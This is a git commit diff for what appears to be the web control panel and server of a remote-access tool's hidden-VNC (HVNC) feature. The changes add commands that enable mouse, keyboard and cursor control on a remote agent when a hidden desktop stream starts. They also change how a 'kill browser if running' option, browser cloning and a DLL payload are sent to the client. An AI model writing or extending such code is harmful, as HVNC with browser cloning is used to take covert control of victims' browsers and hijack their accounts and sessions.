huge HVNC imporvements

This commit is contained in:
KingKDot
2026-03-17 23:55:39 -05:00
parent 746939c396
commit d381dbdc64
7 changed files with 180 additions and 106 deletions
+9
View File
@@ -66,6 +66,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
}
let activeClientId = clientId;
let renderCount = 0;
let renderWindowStart = performance.now();
@@ -232,6 +238,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_start", {
autoStartExplorer: false,
});
syncInputEnableState();
} else {
setStreamState("idle", "Stopped");
}
@@ -475,6 +482,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_start", {
autoStartExplorer: false,
});
syncInputEnableState();
});
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
@@ -673,6 +681,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
}
sendCmd("hvnc_start", { autoStartExplorer: false });
syncInputEnableState();
} else {
setStreamState("idle", "Stopped");
}
+1 -1
View File
@@ -176,7 +176,7 @@
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
</label>
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncKillIfRunningToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span>
</label>
<button
@@ -713,7 +713,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
path: String(payload.path || ""),
clone: payload.clone !== false,
cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning !== false,
killIfRunning: payload.killIfRunning === true,
dll: dllData,
});
break;